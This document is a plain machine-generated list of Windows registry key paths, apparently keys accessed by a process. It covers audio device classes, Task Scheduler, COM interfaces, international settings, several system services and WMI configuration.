HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{eb115ffc-10c8-4964-831d-6dcb02e6f23f}\#eHeadphoneWave\Control\Linked HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{EB115FFC-10C8-4964-831D-6DCB02E6F23F}\Properties HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994ad04-93ef-11d0-a3cc-00a0c9223196} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInTopo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\Properties HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eCDInWave HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInTopo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eMicInWave HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerTopo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eSpeakerWave HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Capabilities HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ConfigFlags HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#hdaudio#func_01&ven_8384&dev_7680&subsys_83847680&rev_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eheadphonetopo HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneTopo\Properties\{840b8171-b0ad-410f-8581-cccc0382cfef}\00000000\00000000\Data HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#hdaudio#func_01&ven_8384&dev_7680&subsys_83847680&rev_1034#4&31e60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eheadphonewave HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\#eHeadphoneWave\Properties HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Power\PowerRequestOverride HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Power\PowerRequestOverride HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Power\PowerRequestOverride\Driver HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\taskeng.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\DataVersion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\EnableBackCompat HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\MissedTasksStartupDelay HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TasksInMemoryQueue HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TasksPerHighestPrivEngine HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TasksPerLeastPrivEngine HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\TracingLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\WindowSeconds HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\6BA0E3C1 HKEY_LOCAL_MACHINE\Software\Microsoft\COM3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\Com+Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\MaxSxSHashCount HKEY_USERS\.DEFAULT\Control Panel\International HKEY_USERS\.DEFAULT\Control Panel\International\LocaleName HKEY_USERS\.DEFAULT\Control Panel\International\sCountry HKEY_USERS\.DEFAULT\Control Panel\International\sList HKEY_USERS\.DEFAULT\Control Panel\International\sDecimal HKEY_USERS\.DEFAULT\Control Panel\International\sThousand HKEY_USERS\.DEFAULT\Control Panel\International\sGrouping HKEY_USERS\.DEFAULT\Control Panel\International\sNativeDigits HKEY_USERS\.DEFAULT\Control Panel\International\sCurrency HKEY_USERS\.DEFAULT\Control Panel\International\sMonDecimalSep HKEY_USERS\.DEFAULT\Control Panel\International\sMonThousandSep HKEY_USERS\.DEFAULT\Control Panel\International\sMonGrouping HKEY_USERS\.DEFAULT\Control Panel\International\sPositiveSign HKEY_USERS\.DEFAULT\Control Panel\International\sNegativeSign HKEY_USERS\.DEFAULT\Control Panel\International\sTimeFormat HKEY_USERS\.DEFAULT\Control Panel\International\sShortTime HKEY_USERS\.DEFAULT\Control Panel\International\s1159 HKEY_USERS\.DEFAULT\Control Panel\International\s2359 HKEY_USERS\.DEFAULT\Control Panel\International\sShortDate HKEY_USERS\.DEFAULT\Control Panel\International\sYearMonth HKEY_USERS\.DEFAULT\Control Panel\International\sLongDate HKEY_USERS\.DEFAULT\Control Panel\International\iCountry HKEY_USERS\.DEFAULT\Control Panel\International\iMeasure HKEY_USERS\.DEFAULT\Control Panel\International\iPaperSize HKEY_USERS\.DEFAULT\Control Panel\International\iDigits HKEY_USERS\.DEFAULT\Control Panel\International\iLZero HKEY_USERS\.DEFAULT\Control Panel\International\iNegNumber HKEY_USERS\.DEFAULT\Control Panel\International\NumShape HKEY_USERS\.DEFAULT\Control Panel\International\iCurrDigits HKEY_USERS\.DEFAULT\Control Panel\International\iCurrency HKEY_USERS\.DEFAULT\Control Panel\International\iNegCurr HKEY_USERS\.DEFAULT\Control Panel\International\iCalendarType HKEY_USERS\.DEFAULT\Control Panel\International\iFirstDayOfWeek HKEY_USERS\.DEFAULT\Control Panel\International\iFirstWeekOfYear HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\WOW64 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir HKEY_USERS\S-1-5-18 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_USERS\.DEFAULT\Environment HKEY_USERS\.DEFAULT\Volatile Environment HKEY_USERS\.DEFAULT\Volatile Environment\0 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AdobeFlashPlayerUpdateSvc\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gpsvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Environment HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Volatile Environment HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Volatile Environment\0 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\clr_optimization_v4.0.30319_32\RequiredPrivileges HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\Tracing\WMI HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\SessionEnabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AreaFlags HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\Session HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFile HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MinimumBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\MaximumFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\LogFileMode HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\FlushTimer HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Tracing\WMI\AgeLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS\Diag\WMI Writer HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000100-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9555-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{609B9557-4FB6-11D1-9971-00C04FBBB345}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TreatAs HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\Progid HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\InprocServer32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\ThreadingModel HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InprocHandler HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887} HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\IdentifierLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\QueryLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\PathLimit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbThrottlingEnabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighMaxLimitFactor HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbTaskMaxSleep HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold1Mult HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold2Mult HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ArbSystemHighThreshold3Mult HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Unchecked Task Count HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Working Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Build HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\MOF Self-Install Directory HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Default Repository Driver HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueCoreFsrepVersion HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Repository Cache Spill Ratio HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckPointValue HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SnapShotValue HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\CheckRepositoryOnNextStartup HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NumWriteIdCheck HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Size HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Max Class Cache Item Age (ms) HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\EnableObjectValidation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\NextAutoRecoverFile 